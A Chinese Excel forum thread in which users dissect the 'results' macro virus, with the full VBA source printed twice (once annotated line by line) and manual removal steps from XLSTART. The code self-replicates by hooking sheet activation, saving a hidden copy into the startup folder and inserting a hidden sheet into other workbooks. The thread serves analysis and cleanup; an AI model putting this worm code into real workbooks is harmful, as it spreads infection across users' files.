Excel精英培训网

 找回密码
 注册
数据透视表40+个常用小技巧,让你一次学会!
查看: 9184|回复: 24

[VBA] 大家研究一下results这个宠病毒

[复制链接]
发表于 2010-2-18 22:18 | 显示全部楼层 |阅读模式
<p>好象就是恶作剧啊,没啥破坏性<font color="#f73809" size="7">,以下代码仅作研究,切勿放入EXCEL中运行</font></p><p><br/>Sub auto_open()<br/>&nbsp;&nbsp;&nbsp; Application.OnSheetActivate = "ck_files"<br/>End Sub</p><p>Sub ck_files()<br/>&nbsp;&nbsp;&nbsp; c$ = Application.StartupPath<br/>&nbsp;&nbsp;&nbsp; m$ = Dir(c$ &amp; "\" &amp; "RESULTS.XLS")<br/>&nbsp;&nbsp;&nbsp; If m$ = "RESULTS.XLS" Then p = 1 Else p = 0<br/>&nbsp;&nbsp;&nbsp; If ActiveWorkbook.Modules.Count &gt; 0 Then w = 1 Else w = 0<br/>&nbsp;&nbsp;&nbsp; whichfile = p + w * 10<br/>&nbsp;&nbsp;&nbsp; <br/>Select Case whichfile<br/>&nbsp;&nbsp;&nbsp; Case 10<br/>&nbsp;&nbsp;&nbsp; Application.ScreenUpdating = False<br/>&nbsp;&nbsp;&nbsp; n4$ = ActiveWorkbook.Name<br/>&nbsp;&nbsp;&nbsp; Sheets("results").Visible = True<br/>&nbsp;&nbsp;&nbsp; Sheets("results").Select<br/>&nbsp;&nbsp;&nbsp; Sheets("results").Copy<br/>&nbsp;&nbsp;&nbsp; With ActiveWorkbook<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .Title = ""<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .Subject = ""<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .Author = ""<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .Keywords = ""<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .Comments = ""<br/>&nbsp;&nbsp;&nbsp; End With<br/>&nbsp;&nbsp;&nbsp; newname$ = ActiveWorkbook.Name<br/>&nbsp;&nbsp;&nbsp; c4$ = CurDir()<br/>&nbsp;&nbsp;&nbsp; ChDir Application.StartupPath<br/>&nbsp;&nbsp;&nbsp; ActiveWindow.Visible = False<br/>&nbsp;&nbsp;&nbsp; Workbooks(newname$).SaveAs FileName:=Application.StartupPath &amp; "/" &amp; "RESULTS.XLS", FileFormat:=xlNormal _<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; False, CreateBackup:=False<br/>&nbsp;&nbsp;&nbsp; ChDir c4$<br/>&nbsp;&nbsp;&nbsp; Workbooks(n4$).Sheets("results").Visible = False<br/>&nbsp;&nbsp;&nbsp; Application.OnSheetActivate = ""<br/>&nbsp;&nbsp;&nbsp; Application.ScreenUpdating = True<br/>&nbsp;&nbsp;&nbsp; Application.OnSheetActivate = "RESULTS.XLS!ck_files"<br/>&nbsp;&nbsp;&nbsp; Case 1<br/>&nbsp;&nbsp;&nbsp; Application.ScreenUpdating = False<br/>&nbsp;&nbsp;&nbsp; n4$ = ActiveWorkbook.Name<br/>&nbsp;&nbsp;&nbsp; p4$ = ActiveWorkbook.Path<br/>&nbsp;&nbsp;&nbsp; s$ = Workbooks(n4$).Sheets(1).Name<br/>&nbsp;&nbsp;&nbsp; If s$ &lt;&gt; "results" Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Workbooks(n4$).Sheets("results").Visible = False<br/>&nbsp;&nbsp;&nbsp; Else<br/>&nbsp;&nbsp;&nbsp; End If<br/>&nbsp;&nbsp;&nbsp; Application.OnSheetActivate = ""<br/>&nbsp;&nbsp;&nbsp; Application.ScreenUpdating = True<br/>&nbsp;&nbsp;&nbsp; Application.OnSheetActivate = "RESULTS.XLS!ck_files"<br/>&nbsp;&nbsp;&nbsp; Case Else<br/>End Select<br/>End Sub</p>
excel精英培训的微信平台,每天都会发送excel学习教程和资料。扫一扫明天就可以收到新教程
发表于 2010-2-18 23:53 | 显示全部楼层

<p>这段代码可以学到好多知识</p>[em02]
回复

使用道具 举报

发表于 2010-2-19 11:18 | 显示全部楼层

<p>这个我根本不能保存,一保存便被卡巴掉了</p>
回复

使用道具 举报

 楼主| 发表于 2010-2-19 11:37 | 显示全部楼层

这个程序好象仅仅是恶作剧,并没有什么破坏性。作为学习用,真是很OK的。<br/>我先学一个。Application.OnSheetActivate = "RESULTS.XLS!ck_files"<br/>这个onsheetactivate,功能相当于Worksheet_Activate()事件。但它是以string形式返回的。<br/>病毒中,父级对象是application,因此任何工作簿转换任何工作表都会激发这个"RESULTS.XLS!ck_files"程序。<br/>仿照这个东东,我在新工作簿的模块中编以下的简单程序,保存,再打开:<br/>Sub auto_open()<br/>Gettest<br/>End Sub<br/>Sub test()<br/>MsgBox "已经触发这个程序。"<br/>End Sub<br/>Sub Gettest()<br/>ThisWorkbook.OnSheetActivate = "test"<br/>End Sub<br/><br/>打开后,马上跳出这个msgbox,每转换工作表一次,都会跳出来msgbox。由于是ThisWorkbook.OnSheetActivate = "test",所以只对本工作簿有用。<br/>想想以前编程序,想要每个工作表激活的时候,都响应某个程序,在每个工作表中加一个activate。真是傻啊。
回复

使用道具 举报

发表于 2010-2-19 12:41 | 显示全部楼层

代码还是看不懂[em06]
回复

使用道具 举报

发表于 2010-2-19 13:43 | 显示全部楼层

刚才下个附件就中了这个<strong>毒</strong>[em04][em04][em04][em04]
回复

使用道具 举报

发表于 2010-2-19 14:43 | 显示全部楼层

<div class="msgheader">QUOTE:</div><div class="msgborder"><b>以下是引用<i>开辆小富康</i>在2010-2-19 11:37:00的发言:</b><br/>这个程序好象仅仅是恶作剧,并没有什么破坏性。作为学习用,真是很OK的。<br/>我先学一个。Application.OnSheetActivate = "RESULTS.XLS!ck_files"<br/>这个onsheetactivate,功能相当于Worksheet_Activate()事件。但它是以string形式返回的。<br/>病毒中,父级对象是application,因此任何工作簿转换任何工作表都会激发这个"RESULTS.XLS!ck_files"程序。<br/>仿照这个东东,我在新工作簿的模块中编以下的简单程序,保存,再打开:<br/>Sub auto_open()<br/>Gettest<br/>End Sub<br/>Sub test()<br/>MsgBox "已经触发这个程序。"<br/>End Sub<br/>Sub Gettest()<br/>ThisWorkbook.OnSheetActivate = "test"<br/>End Sub<br/><br/>打开后,马上跳出这个msgbox,每转换工作表一次,都会跳出来msgbox。由于是ThisWorkbook.OnSheetActivate = "test",所以只对本工作簿有用。<br/>想想以前编程序,想要每个工作表激活的时候,都响应某个程序,在每个工作表中加一个activate。真是傻啊。 </div><p>查网上资料,这个最开始是被用来做透视表更新</p><p>还有其它的</p><p>Application.OnCalculate<br/>Application.OnDoubleClick<br/>Application.OnSheetDeactivate<br/></p>
回复

使用道具 举报

 楼主| 发表于 2010-2-19 15:19 | 显示全部楼层

<p><font color="#ff0000">按我山寨的理解,将大部分代码作了注释,不知对不对,请大家斧正。</font></p><p></p><p>Sub auto_open()<br/>&nbsp;&nbsp;&nbsp; Application.OnSheetActivate = "ck_files"&nbsp; '这个auto_open,是文件打开自动执行。由于本文件是放在xlstart文件夹,任何excel文件启动,都会先打开这个文件。<br/>End Sub</p><p>Sub ck_files()<br/>&nbsp;&nbsp;&nbsp; c$ = Application.StartupPath&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; '取得xlstart文件夹的路径<br/>&nbsp;&nbsp;&nbsp; m$ = Dir(c$ &amp; "\" &amp; "RESULTS.XLS")&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; '取得results.xls文件名<br/>&nbsp;&nbsp;&nbsp; If m$ = "RESULTS.XLS" Then p = 1 Else p = 0 '如果result文件不存在,m$是""<br/>&nbsp;&nbsp;&nbsp; If ActiveWorkbook.Modules.Count &gt; 0 Then w = 1 Else w = 0 '判断活动工作簿的模块数量。这个活动工作簿,不是results.xls,是你正常打开的那个工作簿。<br/>&nbsp;&nbsp;&nbsp; whichfile = p + w * 10&nbsp; '这个whichfile变量,是10的话,就是当前活动工作簿有模块,而xlstart中没有resutlts.xls,是1的话,则相反。<br/>&nbsp;Select Case whichfile<br/>&nbsp;&nbsp;&nbsp; Case 10 '当前活动工作簿有模块,而xlstart中没有resutlts.xls执行以下代码<br/>&nbsp;&nbsp;&nbsp; Application.ScreenUpdating = False<br/>&nbsp;&nbsp;&nbsp; n4$ = ActiveWorkbook.Name<br/>&nbsp;&nbsp;&nbsp; Sheets("results").Visible = True<br/>&nbsp;&nbsp;&nbsp; Sheets("results").Select<br/>&nbsp;&nbsp;&nbsp; Sheets("results").Copy&nbsp; '将results工作表 copy 出来,新建一个工作簿。这个工作簿就是下面的活动工作簿了。<br/>&nbsp;&nbsp;&nbsp; With ActiveWorkbook<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .Title = ""&nbsp;&nbsp;&nbsp;&nbsp; '帮助中说这是保存为网页时,文档的名称,现在是空白的。<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .Subject = ""&nbsp;&nbsp;&nbsp; '帮助中说这是发邮件时,作为邮件主题<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .Author = ""&nbsp;&nbsp;&nbsp;&nbsp; '文档作者<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .Keywords = ""&nbsp;&nbsp; '关键词<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .Comments = ""&nbsp;&nbsp; '注释<br/>&nbsp;&nbsp;&nbsp; End With<br/>&nbsp;&nbsp;&nbsp; newname$ = ActiveWorkbook.Name<br/>&nbsp;&nbsp;&nbsp; c4$ = CurDir()&nbsp; '得到当前驱动器路径,比如C:\,E:\<br/>&nbsp;&nbsp;&nbsp; ChDir Application.StartupPath&nbsp; '改变路径到xlstart<br/>&nbsp;&nbsp;&nbsp; ActiveWindow.Visible = False<br/>&nbsp;&nbsp;&nbsp; Workbooks(newname$).SaveAs Filename:=Application.StartupPath &amp; "/" &amp; "RESULTS.XLS", FileFormat:=xlNormal _<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; False, CreateBackup:=False&nbsp; '关键的地方,由于新建工作簿包含results,而xlstart文件夹中没有,所以将新建工作簿以results.xls名保存在xlstart文件夹中。<br/>&nbsp;&nbsp;&nbsp; ChDir c4$&nbsp;&nbsp; '保存结束,重新转入到原来正常使用的工作簿的路径<br/>&nbsp;&nbsp;&nbsp; Workbooks(n4$).Sheets("results").Visible = False&nbsp;&nbsp;&nbsp; '隐藏results工作表<br/>&nbsp;&nbsp;&nbsp; Application.OnSheetActivate = ""&nbsp;&nbsp;&nbsp; '如果你原来就有onsheetactivate的变量,这儿被它改了。<br/>&nbsp;&nbsp;&nbsp; Application.ScreenUpdating = True<br/>&nbsp;&nbsp;&nbsp; Application.OnSheetActivate = "RESULTS.XLS!ck_files"&nbsp;&nbsp; '每次将工作表变动一下就会执行这个代码。如果你有好多工作簿,都操作一遍,那么全部染上它了。<br/>&nbsp;&nbsp;&nbsp; Case 1&nbsp;&nbsp; '当前活动工作簿没有模块,而xlstart中有resutlts.xls<br/>&nbsp;&nbsp;&nbsp; Application.ScreenUpdating = False<br/>&nbsp;&nbsp;&nbsp; n4$ = ActiveWorkbook.Name<br/>&nbsp;&nbsp;&nbsp; p4$ = ActiveWorkbook.Path<br/>&nbsp;&nbsp;&nbsp; s$ = Workbooks(n4$).Sheets(1).Name<br/>&nbsp;&nbsp;&nbsp; If s$ &lt;&gt; "results" Then&nbsp;&nbsp; '如果你使用的工作簿第一个工作表不是results,那么它就插入病毒文件了。<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Workbooks(n4$).Sheets("results").Visible = False<br/>&nbsp;&nbsp;&nbsp; Else<br/>&nbsp;&nbsp;&nbsp; End If<br/>&nbsp;&nbsp;&nbsp; Application.OnSheetActivate = ""<br/>&nbsp;&nbsp;&nbsp; Application.ScreenUpdating = True<br/>&nbsp;&nbsp;&nbsp; Application.OnSheetActivate = "RESULTS.XLS!ck_files"<br/>&nbsp;&nbsp;&nbsp; Case Else<br/>End Select<br/>End Sub</p><p></p>
回复

使用道具 举报

发表于 2010-2-19 15:26 | 显示全部楼层

<p><strong><font face="Verdana" color="#61b713">开辆小富康,做个广告:发表带颜色的代码</font></strong></p><p><a href="http://excelpx.com/dispbbs.asp?BoardID=5&amp;ID=104946&amp;replyID=&amp;skin=1">http://excelpx.com/dispbbs.asp?BoardID=5&amp;ID=104946&amp;replyID=&amp;skin=1</a></p>
回复

使用道具 举报

发表于 2010-2-20 10:20 | 显示全部楼层

对于Results.xls,我是这样处理的:<br/>1,在VBE里面,右键点击它的模块1,选择移除模块,不保存,退出Excel,对提示是否保存Results.xls,选择是。<br/>2,C:\Documents and Settings\Administrator\Application Data\Microsoft\Excel\XLSTART里面删除Results.xls。<br/>再打开Excel,检查VBE,已经没有这个宏了。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|Archiver|Excel精英培训 ( 豫ICP备11015029号 )

GMT+8, 2024-4-24 04:04 , Processed in 0.411971 second(s), 5 queries , Gzip On, Yac On.

Powered by Discuz! X3.4

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表